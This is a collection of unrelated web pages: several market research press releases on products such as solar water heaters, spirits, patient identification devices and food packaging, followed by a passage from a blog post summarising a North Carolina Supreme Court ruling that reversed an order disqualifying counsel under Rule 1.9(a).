2014-2017 bilateral strategy.Market Segment by Manufacturers, this report covers:Wagner, Bosch, Alternate Energy Technologies, V Guard Industries, Himin Solar Energy, SunTank, Viessmann, EMMVEE, Rinnai, Chromagen, Linuo Ritter, A.O. Smith, Rheem, Racold and Bradford White.Solar Water Heater Market, By CollectorEvacuated Tube, Flat Plate, Unglazed WaterSolar Water Heater Market, By ProductThermosyphon, PumpedSolar Water Heater Market, By ApplicationSwimming Pool Heating, Domestic Water Heating, Large Domestic Water Heating, OthersTo Get Discount on this Report:Feature Table of ContentChapter 1. Methodology & ScopeChapter 2. Executive Summary2.1. Bitumen emulsifier industry 360 synopsis, 2013  20242.1.1. Business trendsChapter 3. Solar Water Heater Industry InsightsChapter 4. Solar Water Heater Market, By Collector4.1. Global market share by collector, 2016 & 20244.2. Evacuated tube collector4.2.1. Evacuated tube collector market, 2013  20244.2.2. Evacuated tube collector market capacity by region, 2013  2024Chapter 5. Solar Water Heater Market, By System5.1. Global market share by system, 2016 & 20245.2. Thermosyphon5.2.1. Thermosyphon market, 2013  20245.2.2. Thermosyphon market capacity by region, 2013  2024Get More Details On this Report:Related Report:Global Aircraft Fuel Cells Market Research Report 2017This report focuses on the Aircraft Fuel Cells in Global market, especially in North America, Europe and Asia-Pacific, South America, Middle East and Africa. This report categorizes the market based on manufacturers, regions, type and application.Marketstudyreport.com allows you to manage and control all corporate research purchases to consolidate billing and vendor management. You can eliminate duplicate purchases and customize your content and license management.Market Study ReportThe Green Suite #4594,Dover, DE 19901United StatesPhone: 1-201-355-0868US Toll Free: 1-866-764-2150Email: sales@marketstudyreport.comWebsite:News:
Opportunities in Europe Spirits Market 2017: Key Players SUNTORY HOLDINGS LTD., Pernod Ricard, Bacardi Ltd, Sazerac Company Inc.

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Pune, India, 19th December 2017: WiseGuyReports announced addition of new report, titled Opportunities in the Western Europe Spirits Sector: Analysis of Opportunities Offered by High Growth Economies.Summary"Opportunities in the Western Europe Spirits Sector", report brings together multiple data sources to provide a comprehensive overview of the region's Spirits sector. It includes market overview, high growth country analysis, top brands, key distribution channels, packaging formats and case studies.Western Europe is the second largest region in the global spirits sector with a value share of 16.6% in 2016. The Western Europe spirits sector is expected to grow from US$103,950.1 million in 2016 to US$116,522.4 million in 2021, at a CAGR of 2.3% during 2016-2021. Food & Drinks Specialist was the largest distribution channel in the Western Europe spirits sector, accounting for 31.1% of overall value sales in 2016.GET SAMPLE REPORT @Companies mentionedSUNTORY HOLDINGS LIMITED.Pernod Ricard SABacardi LimitedSazerac Company Inc.Brown-Forman CorporationHeaven Hill Distilleries Inc.Grupo CuervoConstellation Brands IncLVMH Moet Hennessy - Louis VuittonDavide Campari-Milano S.p.A.ScopeThis report brings together multiple data sources to provide a comprehensive overview of the sector in the region. It includes analysis on the following -- Sector overview: Provides overview of the sector size, value and volume growth analysis, across regions- Change in consumption: Analysis on the shift in consumption of hot drinks by markets across the key countries in the region.- High potential countries: Provides Risk-Reward analysis of top 4 high potential countries in the region based on market assessment, economic development, socio-demographic, governance indicators, and technological infrastructure- Country analysis: Provides deep-dive analysis of high potential countries covering value growth during 2016-2021, key challenges, consumer demographics, and key trends supported with product examples. It also includes analysis of the key challenges faced and future outlook for the region.- Brand analysis: Provides an overview of leading brands in the region, besides analyzing the growth of Private Label products in the region.- Key distribution channels: Provides analysis on the leading distribution channels for hot drinks across the key countries in the region, in 2016. It covers these distribution channels - hypermarkets & supermarkets, convenience stores, food & drinks specialists, dollar stores, which include variety stores & general merchandisers and others, which includes cash & carries & warehouse clubs and others.- Preferred packaging formats: The report provides percentage share (in 2016) and growth analysis (during 2011-2021) for various packaging materials, pack type, closure, and outer types based on the volume sales (units) of spiritsReasons to buy- Manufacturing and retailers seek latest information on how the market is evolving to formulate their sales and marketing strategies. There is also demand for authentic market data with a high level of detail. This report has been created to provide its readers with up-to-date information and analysis to uncover emerging opportunities of growth within the sector in the region.- The report provides a detailed analysis of the countries in the region, covering the key challenges, competitive landscape and demographic analysis , that can help companies gain insight into the country specific nuances- The analysts have also placed a significant emphasis on the key trends that drive consumer choice and the future opportunities that can be explored in the region, than can help companies in revenue expansion- To gain competitive intelligence about leading brands in the sector in the region with information about their market share and growth ratesTable of Content: Key Points1. Executive summary2. Market size and growth analysis (Regional analysis )Market Size Analysis - Western Europe compared to other regionsGrowth analysis by regionGrowth Analysis by countryGrowth Analysis by market3. Growth potential by countries in Western EuropeRisk, reward and opportunity analysis - Opportunity scores4. Market size and growth analysisOverview - Value and volume growth analysis by countryGrowth Contribution Analysis by CountryShare of Spirits sectors compared to other alcoholic beverage sectorsChange in consumption levels by country and Spirits marketsPer capita consumption and expenditure analysis5. Country ProfilesGermanyFranceUnited KingdomThe Netherlands6. Success Stories7. Company and Brand AnalysisBrand Share Analysis in the Spirits sectorLeading companies in the Western Europe Spirits sector by value salesLeading brands (including Private Label) in Western Europe Spirits sector by value salesPrivate label penetration in the Spirits sector8. Key Distribution ChannelsLeading Distribution channels by countriesLeading Distribution channels by categories9. Key Packaging FormatsGrowth analysis by key package material and pack typeGrowth analysis by closure type and primary outer typeContinuedACCESS REPORT @Get in touch:LinkedIn:Twitter:Facebook:Wise Guy Reports understand how essential statistical surveying information is for your organization or association. Therefore, we have associated with the top publishers and research firms all specialized in specific domains, ensuring you will receive the most reliable and up to date research data available. We also provide COTS (Commercial off the Shelf) business sector reports as custom exploration agreeing your particular needs.WISE GUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersPune - 411028Maharashtra, India
Positive Patient Identification Market: Projection of Each Major Segment over the Forecast Period 2026

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A handheld device through which information related to a particular patient can be obtained is known as positive patient identification. In order to ensure better delivery of medication and patient safety, this device is gaining significant adoption among medical professionals across the globe. For instance, a nurse can obtain patient information through bar code installed on the wrist band ensuring proper medication delivery to the patient and access to the patient records in a proper manner.With increasing advancements in medical technology, development of such devices is anticipated to be a breakthrough and hence, the positive patient identification market is expected to record significant growth in the near future. With increasing demand for automated systems ensuring effective medicinal administration, demand for devices such as positive patient identification is anticipated to witness significant growth in the near future.Obtain Report Details @Manufacturers of positive patient identification device are focused on developing advanced products ensuring more functionality and compatibility with computers. Pointers such as right diagnosis, right indicators, right time, right test and right patient are key essentials for positive patient identification manufacturers across the globe.Positive Patient Identification Market Segmentation:Positive patient identification market is segmented on the basis of type, end use, patient type, and region. On the basis of type, the market is broadly segmented into software, hardware and service type. Further positive patient identification product type or hardware is segmented into printers, wristbands and labels. These products are classified on the basis of characteristics such as whether the wrist bands are durable, waterproof, laminated or have clips or not, labels are made of paper or vinyl, size differences, price and others. Service type is further segmented into off premise and on-premise or cloud. Based on the type of end use the segmentation includes hospitals, diagnostic centers and laboratories. Products for patient identification are also segmented on the basis of patient type into baby, pediatric, maternity and adult.Obtain Sample Of Report @Geographically, the Positive patient identification market segmented includes North America, Eastern Europe, Western Europe, Japan, Asia Pacific Excluding Japan, Latin America and Middle East and Africa.Positive Patient Identification Market Dynamics:Growing concerns of medical professionals in areas such as phlebotomy, surgical interventions, blood transfusion has led towards adoption of automated tools especially for patient identification. This is majorly intended towards limitation of errors due to improper error handling. In addition, technological advancements in medical science have led to development of advanced medical devices, which is also fuelling the positive patient identification market growth. Furthermore, government requirements coupled with demand for efficient solutions resulting in expansion and growth of an organization are anticipated to boost demand for advanced medical tools such as positive patient identification in the near future.Owing to demand for improved technology solutions, which provide improved workflow processes and minimal errors leading to positive patient identification with prime focus on virtual alert to nursing staff, alert about medication, maintained patient security and identity, among others. This is primarily intended to lower down risks associated with insurance fraud, improper engagement, record mismatch and information theft of a patient. Product type development is further supported by development of integrated software solutions catering to the rising demand for positive patient monitoring system across the globe.Positive Patient Identification Market Key Players:Some of the key players in positive patient identification market include Taylor Communications, Inc., Imprivata, Inc., ZIH Corp, Identification Systems Group, RightPatient Inc., Cerner Corporation, Healthcare Barcode Printers Scanning Technologies, Endur ID Incorporated, GBS Corp, PDC Healthcare and SATO Australia Pty Ltd. Players in the positive patient identification market across the globe are focused on developing complete solutions, which offer improved efficiency in the work and patient safety ensuring cost effectiveness.The report covers exhaustive analysis on:Global Positive Patient Identification Market SegmentsGlobal Positive Patient Identification Market DynamicsHistorical Actual Market Size, 2013 - 2015Global Positive Patient Identification Market Size & Forecast 2016 to 2026Value ChainGlobal Positive Patient Identification Market Current Trends/Issues/ChallengesCompetition & Companies involvedTechnologyGlobal Positive Patient Identification Market Drivers and RestraintsAbout UsFuture Market Insights is the premier provider of market intelligence and consulting services, serving clients in over 150 countries. FMI is headquartered in London, the global financial capital, and has delivery centres in the U.S. and India.FMIs research and consulting services help businesses around the globe navigate the challenges in a rapidly evolving marketplace with confidence and clarity. Our customised and syndicated market research reports deliver actionable insights that drive sustainable growth. We continuously track emerging trends and events in a broad range of end industries to ensure our clients prepare for the evolving needs of their consumers.FMIs team of over 200 research analysts provides market intelligence at global, regional, and country level. Our analysts are committed to provide independent insights, relying on our cognitive defusion training module, which conditions them to look at data objectively and unbiasedly.ContactFuture Market Insights616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705Email:sales@futuremarketinsights.comWebsite:
Global ITSM Software Market Development Status and Outlook 2022

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Qyresearchreports include new market research report "Global ITSM Software Market Size, Status and Forecast 2022" to its huge collection of research reports.The general market for ITSM Software has been seen on several perspectives that are essentially there, and have fixed up the market circumstance to the huge degree. The report additionally shows unmistakable experience and information related to general ITSM Software market. The key explanation behind the report is to detail out certain positive and obstructive concentrations about the market conditions with the target that potential examiners have a right pondered the market they will place assets into. Exact genuine data has been given a specific true objective to give a set view and current status of the market, to the customers of the generation. The market consider report also amasses the features for instance, drivers, restrictions, areas, promote figures, adjust of endeavors, future advancement, and alternate points of view. The examination in like manner join the major market motivations behind premium, which contains specific highlights of the fundamental points of view that are most likely going to trigger change in the market or reasons that may have a negative impacts as well.For more information on this report, fill the form @This report goes into additional all around examination of the general market for ITSM Software by effectively analyzing current happenings and business systems of concerned market. This is required to go about as a supplementary guide in giving right bits of learning and data on a couple of plots for the market, for instance identifying with pattern of the organization bodies in the zone when in doubt level, progress and course structure, streams drawbacks, volume exchange, and earnings made among others.About Us:QYResearchReports.com delivers the latest strategic market intelligence to build a successful business footprint in China. Our syndicated and customized research reports provide companies with vital background information of the market and in-depth analysis on the Chinese trade and investment framework, which directly affects their business operations. Reports from QYResearchReports.com feature valuable recommendations on how to navigate in the extremely unpredictable yet highly attractive Chinese market.Contact Us:1820 AvenueM Suite #1047Brooklyn, NY 11230United StatesToll Free: 866-997-4948 (USA-CANADA)Tel: +1-518-621-2074Web:Email: sales@qyresearchreports.com
Easy Peel Film Packaging Market: Worldwide Industry Analysis and New Market Opportunities Explored

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The revenue form the packaging industry sales globally is expected to continue to show strong growth as both increased consumption and demand for consumer goods and food has driven the needs for more sophisticated packaging, such as easy peel film packaging, supported by growing middle class and rising disposable income.Packaging film and even packaging product manufacturers are offering products with additional focus given to the convenience aspect for consumers, ultimately creating profitable market opportunities for companies providing easy peel film packaging. Easy peel film packaging has been one of the most innovative product offering from packaging companies, vastly benefitting the food and beverage industry in a very short span of time.Obtain Report Details @Easy Peel Film Packaging: Market DynamicsGrowth in demand for easy peel film packaging is anticipated to remain steady for various reasons. Firstly, the food & beverage industry is constantly striving to offer its products that not only make the packaging attractive but also offers convenience. Secondly, rising investment in product innovation, among packaging film and machinery manufacturers, expansion of production capacity to meet the demand is expected to drive the demand of easy peel film packaging throughout the forecast period. The trend of replacing conventional rigid plastic film with easy peel film packaging has been rather safe and economical option for packaging manufacturers, as they consume relatively less space during inventory and transportation.Moreover, offering customized easy peel films with dimensions and printing options as per the customer requirement is the new trend observed in the global easy peel film packaging market. Easy peel film packaging can be used for various types of plastic containers and cups and leaves no residue behind. The packaging form is non-sticky and perform well with all sorts of temperature. Despite growth opportunities, the manufacturing cost of such packaging is relatively high, resulting into low profitability margins for packaging film suppliers.Easy Peel Film Packaging: Market SegmentationThe global easy peel film packaging market is segmented on the basis of application, material, packaging and region. On the basis of application, the global easy peel film packaging market is segmented into food & beverage, medical application segment, industrial application segment and other consumer products segment. The food and beverage segment is further sub-segmented into seafood products, frozen food, dairy products, bakery & confectionary, microwaveable food products, and beverages. The medical application segment is further sub-segmented as syringes, catheter packaging film and infusion bags.Further the industrial application segment is sub-segmented into toner containers, ink cartridges and other industrial products. The consumer products is further segmented into air fresheners, deodorizers, washing detergents, wet wipes and other consumer products. Demand of easy peel film packaging from food application segment is anticipated to offer lucrative opportunities to the global easy peel film packaging market in terms of growth prospects.Moreover, on the basis of material type, the global easy peel film packaging market is segmented into linear low density polyethylene (LDPE), high density polyethylene (HDPE), polyethylene terephthalate (PET) and others. On the basis of packaging type, the global easy peel film packaging is segmented into cups, trays, pouches and other containers.Request Sample @Easy Peel Film Market: Regional outlookEasy peel film packaging market has been segmented on the basis of region into North America, Europe, Asia Pacific, Middle East & Africa (MEA), and Latin America. Among these region, North America and Europe are expected to collectively dominate the market throughout the forecast period. However, many packaging film suppliers and converter companies are investing in Asia Pacific to tap the growing unmet demand and potential, easy peel film packaging offers to packaging film manufacturers in the region.Furthermore, Asia Pacific is anticipated to witness maximum CAGR over the forecast period primarily driven by China, Japan and India. Latin America and Middle East & Africa are expected to witness sluggish growth and over the forecast period. In Latin America, Brazil and Mexico are expected to create maximum incremental opportunities in terms of revenue for companies involved in easy peel film packaging.Easy Peel Film Packaging Market: Key playersSome of the key players in the global easy peel film packaging market are J-Film Corporation, Evonik Industries, Mitsui Chemicals, Bemis Company Inc., Shrinath Rotopack Pvt Ltd, Tilak Polypack Pvt Ltd. A majority of easy peel packaging companies are largely headquartered in Europe and North America. However, China and India based packaging film manufacturers are looking to grab most of the opportunity offered in terms of revenue from the global easy peel film packaging market.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. We have an experienced team of Analysts, Researchers, and Consultants, who us e proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.Each TMR Syndicated Research report covers a different sector  such as pharmaceuticals, chemical, energy, food & beverages, semiconductors, med-devices, consumer goods and technology. These reports provide in-depth analysis and deep segmentation to possible micro levels. With wider scope and stratified research methodology, our syndicated reports thrive to provide clients to serve their overall research requirement.ContactTransparency Market Research90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Global Environmental Sensing and Monitoring Technologies Market Size, Status and Forecast 2022

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This report studies the global Environmental Sensing and Monitoring Technologies market, analyzes and researches the Environmental Sensing and Monitoring Technologies development status and forecast in United States, EU, Japan, China, India and Southeast Asia. This report focuses on the top players in global market, likeTE ConnectivityBall AerospaceLockheed Martin CorporationGems SensorsSiemensHoneywell InternationalAgilent TechnologiesEatonEnvironmental Monitoring SolutionsAir-Met ScientificEcotechCoastal Environmental SystemsCollaboratingMarket segment by Regions/Countries, this report coversUnited StatesEUJapanChinaIndiaSoutheast AsiaDownload Sample Report Copy From Here:Market segment by Type, the product can be split intoAnalogDigitalMarket segment by Application, Environmental Sensing and Monitoring Technologies can be split intoDefenseOceanMeteorologyIndustrialIf you have any special requirements, please let us know and we will offer you the report as you want.Table of ContentsGlobal Environmental Sensing and Monitoring Technologies Market Size, Status and Forecast 20221 Industry Overview of Environmental Sensing and Monitoring Technologies1.1 Environmental Sensing and Monitoring Technologies Market Overview1.1.1 Environmental Sensing and Monitoring Technologies Product Scope1.1.2 Market Status and Outlook1.2 Global Environmental Sensing and Monitoring Technologies Market Size and Analysis by Regions1.2.1 United States1.2.2 EU1.2.3 Japan1.2.4 China1.2.5 India1.2.6 Southeast Asia1.3 Environmental Sensing and Monitoring Technologies Market by Type1.3.1 Analog1.3.2 Digital1.4 Environmental Sensing and Monitoring Technologies Market by End Users/Application1.4.1 Defense1.4.2 Ocean1.4.3 Meteorology1.4.4 Industrial2 Global Environmental Sensing and Monitoring Technologies Competition Analysis by Players2.1 Environmental Sensing and Monitoring Technologies Market Size (Value) by Players (2016 and 2017)2.2 Competitive Status and Trend2.2.1 Market Concentration Rate2.2.2 Product/Service Differences2.2.3 New Entrants2.2.4 The Technology Trends in Future3 Company (Top Players) Profiles3.1 TE Connectivity3.1.1 Company Profile3.1.2 Main Business/Business Overview3.1.3 Products, Services and Solutions3.1.4 Environmental Sensing and Monitoring Technologies Revenue (Value) (2012-2017)3.1.5 Recent Developments3.2 Ball Aerospace3.2.1 Company Profile3.2.2 Main Business/Business Overview3.2.3 Products, Services and Solutions3.2.4 Environmental Sensing and Monitoring Technologies Revenue (Value) (2012-2017)3.2.5 Recent Developments3.3 Lockheed Martin Corporation3.3.1 Company Profile3.3.2 Main Business/Business Overview3.3.3 Products, Services and Solutions3.3.4 Environmental Sensing and Monitoring Technologies Revenue (Value) (2012-2017)3.3.5 Recent Developments3.4 Gems Sensors3.4.1 Company Profile3.4.2 Main Business/Business Overview3.4.3 Products, Services and Solutions3.4.4 Environmental Sensing and Monitoring Technologies Revenue (Value) (2012-2017)3.4.5 Recent Developments3.5 Siemens3.5.1 Company Profile3.5.2 Main Business/Business Overview3.5.3 Products, Services and Solutions3.5.4 Environmental Sensing and Monitoring Technologies Revenue (Value) (2012-2017)3.5.5 Recent Developments3.6 Honeywell International3.6.1 Company Profile3.6.2 Main Business/Business Overview3.6.3 Products, Services and Solutions3.6.4 Environmental Sensing and Monitoring Technologies Revenue (Value) (2012-2017)3.6.5 Recent Developments3.7 Agilent Technologies3.7.1 Company Profile3.7.2 Main Business/Business Overview3.7.3 Products, Services and Solutions3.7.4 Environmental Sensing and Monitoring Technologies Revenue (Value) (2012-2017)3.7.5 Recent Developments3.8 Eaton3.8.1 Company Profile3.8.2 Main Business/Business Overview3.8.3 Products, Services and Solutions3.8.4 Environmental Sensing and Monitoring Technologies Revenue (Value) (2012-2017)3.8.5 Recent Developments3.9 Environmental Monitoring Solutions3.9.1 Company Profile3.9.2 Main Business/Business Overview3.9.3 Products, Services and Solutions3.9.4 Environmental Sensing and Monitoring Technologies Revenue (Value) (2012-2017)3.9.5 Recent Developments3.10 Air-Met Scientific3.10.1 Company Profile3.10.2 Main Business/Business Overview3.10.3 Products, Services and Solutions3.10.4 Environmental Sensing and Monitoring Technologies Revenue (Value) (2012-2017)3.10.5 Recent Developments3.11 Ecotech3.12 Coastal Environmental Systems3.13 Collaborating4 Global Environmental Sensing and Monitoring Technologies Market Size by Type and Application (2012-2017)4.1 Global Environmental Sensing and Monitoring Technologies Market Size by Type (2012-2017)4.2 Global Environmental Sensing and Monitoring Technologies Market Size by Application (2012-2017)4.3 Potential Application of Environmental Sensing and Monitoring Technologies in Future4.4 Top Consumer/End Users of Environmental Sensing and Monitoring Technologies5 United States Environmental Sensing and Monitoring Technologies Development Status and Outlook5.1 United States Environmental Sensing and Monitoring Technologies Market Size (2012-2017)5.2 United States Environmental Sensing and Monitoring Technologies Market Size and Market Share by Players (2016 and 2017)6 EU Environmental Sensing and Monitoring Technologies Development Status and Outlook6.1 EU Environmental Sensing and Monitoring Technologies Market Size (2012-2017)6.2 EU Environmental Sensing and Monitoring Technologies Market Size and Market Share by Players (2016 and 2017)7 Japan Environmental Sensing and Monitoring Technologies Development Status and Outlook7.1 Japan Environmental Sensing and Monitoring Technologies Market Size (2012-2017)7.2 Japan Environmental Sensing and Monitoring Technologies Market Size and Market Share by Players (2016 and 2017)8 China Environmental Sensing and Monitoring Technologies Development Status and Outlook8.1 China Environmental Sensing and Monitoring Technologies Market Size (2012-2017)8.2 China Environmental Sensing and Monitoring Technologies Market Size and Market Share by Players (2016 and 2017)9 India Environmental Sensing and Monitoring Technologies Development Status and Outlook9.1 India Environmental Sensing and Monitoring Technologies Market Size (2012-2017)9.2 India Environmental Sensing and Monitoring Technologies Market Size and Market Share by Players (2016 and 2017)10 Southeast Asia Environmental Sensing and Monitoring Technologies Development Status and Outlook10.1 Southeast Asia Environmental Sensing and Monitoring Technologies Market Size (2012-2017)10.2 Southeast Asia Environmental Sensing and Monitoring Technologies Market Size and Market Share by Players (2016 and 2017)11 Market Forecast by Regions, Type and Application (2017-2022)11.1 Global Environmental Sensing and Monitoring Technologies Market Size (Value) by Regions (2017-2022)11.1.1 United States Environmental Sensing and Monitoring Technologies Revenue and Growth Rate (2017-2022)11.1.2 EU Environmental Sensing and Monitoring Technologies Revenue and Growth Rate (2017-2022)11.1.3 Japan Environmental Sensing and Monitoring Technologies Revenue and Growth Rate (2017-2022)11.1.4 China Environmental Sensing and Monitoring Technologies Revenue and Growth Rate (2017-2022)11.1.5 India Environmental Sensing and Monitoring Technologies Revenue and Growth Rate (2017-2022)11.1.6 Southeast Asia Environmental Sensing and Monitoring Technologies Revenue and Growth Rate (2017-2022)11.2 Global Environmental Sensing and Monitoring Technologies Market Size (Value) by Type (2017-2022)11.3 Global Environmental Sensing and Monitoring Technologies Market Size by Application (2017-2022)12 Environmental Sensing and Monitoring Technologies Market Dynamics12.1 Environmental Sensing and Monitoring Technologies Market Opportunities12.2 Environmental Sensing and Monitoring Technologies Challenge and Risk12.2.1 Competition from Opponents12.2.2 Downside Risks of Economy12.3 Environmental Sensing and Monitoring Technologies Market Constraints and Threat12.3.1 Threat from Substitute12.3.2 Government Policy12.3.3 Technology Risks12.4 Environmental Sensing and Monitoring Technologies Market Driving Force12.4.1 Growing Demand from Emerging Markets12.4.2 Potential Application13 Market Effect Factors Analysis13.1 Technology Progress/Risk13.1.1 Substitutes13.1.2 Technology Progress in Related Industry13.2 Consumer Needs Trend/Customer Preference13.3 External Environmental Change13.3.1 Economic Fluctuations13.3.2 Other Risk Factors14 Research Finding/Conclusion15 AppendixMethodologyAnalyst IntroductionData SourceBuy Now This Report From Here:Global QYResearch() is the one spot destination for all your research needs. Global QYRese arch holds the repository of quality research reports from numerous publishers across the globe. Our inventory of research reports caters to various industry verticals including Healthcare, Information and Communication Technology (ICT), Technology and Media, Chemicals, Materials, Energy, Heavy Industry, etc. With the complete information about the publishers and the industries they cater to for developing market research reports, we help our clients in making purchase decision by understanding their requirements and suggesting best possible collection matching their needs.Unit 1, 26 Cleveland Road, Soutqh Woodford, London,E182AN, United KingdomCall: +44 20 3239 2407
Snack Food Packaging Market: Industry Outlook, Growth Prospects and Key Opportunities

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Snack food is becoming a mainstream trend that has gathered force over time and is considered as one of the most preferred form of commodities, hence snack food packaging should be attractive to buyers in order to gain their attention. Shifting preference of consumers for snack foods into meals are changing how restaurants and packaged food manufacturers market food. Packaged food manufacturers stay on top of their changing preferences and needs, mostly for health, value and quality as well. For instance, nearly 80% of consumers looks for best value productsSnack Food Packaging Market: DynamicsThe growing number of nuclear families coupled with increasing disposable incomes has unwrapped tremendous opportunities for the ready to eat snack foods which in turn driven the growth for the global snack food packaging market in the near future. The opportunity to indulge in exotic flavor options at reasonable prices, convenience and changing consumer lifestyle are the major factors that influence the growth of snack food packaging market.Obtain Report Details @The consumers crave for healthier snack food products and they are unwilling to sacrifice flavor as these are now trends in the overall snack food market. Furthermore, the trend of eating snacks in between meals has led to the tremendous demand for the global snack food packaging market.Branding and product innovation act as a decisive factor which has provided impetus to the global snack food packaging market. Manufacturers emphasis on their product offering in order to suit the taste of the consumers and developing new alternatives to provide to geographic specific demand which has expanded their consumer base.Innovations in the global packaging industry, such as sophisticated packaging products which are made of materials such as biaxially-oriented polypropylene (BOPP), biaxially-oriented polyethylene terephthalate (BOPET), and cast polypropylene (CPP) has led manufacturers of snack food packaging market to provide attractive and colorful packs to draw attention to consumers.Request Sample @Snack Food Packaging Market: Region wise OutlookIn geography, the global snack food packaging market is divided into majorly five regions such as North America, Latin America, Europe, Asia Pacific and Middle East & Africa. In the global snack food packaging market, developed countries of North America like U.S, accounts for largest market share which is attributed to the high consumption of consumers as well as stringent government regulations on the safety and the quality of the snack food products. U.S is considered as a mature market for bakery and snack foods and is projected to grow with around 4% throughout 2016 to 2020 and Europe is considered to be the second largest market in the global snack food packaging market.However, outside of the U.S the opportunity to increase the sales of snack foods is also increasing as well. Asia Pacific is expected to be primarily driven mainly by china, Japan and India in the global snack food packaging market. Latin America and Middle East & Africa are expected to witness sluggish growth over the forecast period. In Latin America, Brazil, Mexico and rest of Latin America are expected to create market opportunities for companies involved in the global snack food packaging market.Snack Food Packaging Market: Key PlayersSome of the key players who are engaged in manufacturing snack food packaging are Sonoco Products, Sealed Air Corporation, Graham Packaging Holdings, Bemis Company, American Packaging, Bryce Corporation and many others, Swiss pack private limited and many more.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. We have an experienced team of Analysts, Researchers, and Consultants, who us e proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.Each TMR Syndicated Research report covers a different sector  such as pharmaceuticals, chemical, energy, food & beverages, semiconductors, med-devices, consumer goods and technology. These reports provide in-depth analysis and deep segmentation to possible micro levels. With wider scope and stratified research methodology, our syndicated reports thrive to provide clients to serve their overall research requirement.ContactTransparency Market Research90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Monday, December 18, 2017

The North Carolina Supreme Court reversed and remanded an order disqualifying counsel

In this case we consider whether the trial court properly disqualified defendants counsel under North Carolina Rule of Professional Conduct 1.9(a). This rule balances an attorneys ethical duties of confidentiality and loyalty to a former client with a partys right to its chosen counsel. The rule permits disqualification of an attorney from representing a new client if there is a substantial risk that the attorney could use confidential information shared by the client in the former matter against that same client in the current matter. This analysis requires the trial court to determine whether confidential information that would normally have been shared in the former matter is also material to the current matter. To do so, the trial court must objectively assess the scope of the representation and whether the matters are substantially related. Rather than applying an objective test, here the trial court disqualified defendants counsel based on the former clients subjective perception of the past representation as well as the now replaced appearance of impropriety test. As a result, we reverse the trial courts decision and remand this matter to that court for application of the appropriate legal standard.

The initial litigation

The factual background leading to the instant litigation involves three other disputes, all relating to plaintiff Joseph W. Forbess former employer Consert, Inc. (Consert): a patent dispute between Forbes and Consert (the patent dispute), Forbess 220 shareholder inspection rights action against Consert (the 220 action), and a contract dispute between Itron, Inc. (Itron) and Consert (the Itron litigation).

Plaintiff Forbes is one of thirteen named plaintiffs in the present action, all former shareholders of Consert. Beginning in 2008, Forbes was a shareholder and member of the Board of Directors of Consert and served as Chief Operating Officer. In the fall of 2011, Forbes was removed as an officer and director but remained a significant shareholder. Soon after his removal, Forbes and Consert disagreed about Forbess unpaid compensation and ownership of certain patents (the patent dispute), but the dispute never resulted in direct litigation even though Forbes was represented by counsel.

The role of challenged counsel

In October 2013, counsel from Winston & Strawn, LLP, who represented Forbes at the time, communicated with Joe Bush of Kilpatrick (Bush), counsel to Consert, about Forbess deposition. Bush disclosed to Forbess counsel that, in addition to his primary representation of Consert, he also represented former employees and shareholders of Consert in the Itron litigation. Bush later offered limited representation to Forbes at Conserts expense as long as Forbes agreed to the proposed engagement terms. Forbes eventually agreed that Bush would represent him in the Itron litigation regarding his role as a former Officer and Director of Consert.

On 23 January 2014, Forbes signed an engagement letter that outlined the terms of Bushs limited representation of Forbes (the engagement letter), which began by stating, As you are aware, this firm is outside litigation counsel to [Consert] in connection with the [Itron litigation]. The engagement letter then explained that the representation of Forbes would be limited to legal services associated with discovery efforts (such as depositions, witness statements, factual development, and document analysis), [Forbess] potential testimony at trial, and specifically in connection with [Forbess] former role as Chief Operating Officer of Consert. Forbes agreed that he would be willing to permit Kilpatrick Townsend to disclose to Consert, to any related entities, and to the employees of these entities, any of the information it learns in its communications with [him] if, in [counsels] discretion, it becomes necessary or appropriate to the defense of this lawsuit. Forbes also agreed that he would not object to Kilpatrick Townsend continuing to represent Consert and its related entities in this lawsuit should a conflict of interest arise. Winston & Strawn negotiated the terms of the limited representation on behalf of Forbes.

Forbess counsel from Winston & Strawn initially prepared him for his deposition and communicated with Forbes via teleconference two to three times for approximately an hour on each occasion. In final preparation, Forbes met with Bush once for approximately two to three hours the night before the deposition. Forbess privately retained counsel from Winston & Strawn attended approximately an hour of that meeting.

During the deposition the next day, Itrons counsel asked Forbes about his relationship with Consert, the 220 action, the ConsertToshiba merger, and primarily the patent dispute. Twice during the deposition, Forbes requested a break and spoke with his privately retained counsel from Winston & Strawn, even though Bush was present at the deposition. When asked about the ConsertToshiba merger, Forbes stated, I have not read the agreement of the merger between [Toshiba] and Consert. That might come as a surprise to you, but I have not read it. The Itron litigation settled on 1 February 2015.

At some point on or before 5 February 2015, Forbes and counsel at Winston & Strawn recognized Forbess potential claims at issue in the present action. As a result, on 5 February 2015, Winston & Strawn sent a litigation hold letter to Bush, based on his representation of Toshiba affiliates, informing him that Forbes and other former Consert shareholders were considering filing the present action. On 9 November 2015, Forbes and other former Consert shareholders filed the present action against Toshiba (as the parent company of Consert) and former officers, directors, and shareholders of Consert, some of whom were jointly represented by Bush in the Itron litigation. Defendants retained Bush to represent them against plaintiffs...

Before the trial court, plaintiffs moved to disqualify Bush from the present action based on his past representation of Forbes during the Itron litigation. In support of the motion, Forbes filed a declaration stating his views of the prior relationship and outlining his communications with Bush. Defendants responded that the communications between Forbes and Bush were not confidential because the engagement letter expressly limited the nature of Bushs representation of Forbes and specifically authorized Bush to disclose, in his discretion, any of the information he learned in his communications with Forbes to Consert, any related entities, and their employees during the Itron litigation.

The court discusses the applicable (i.e. current Rule 1.9) ethical standards at some length and concludes

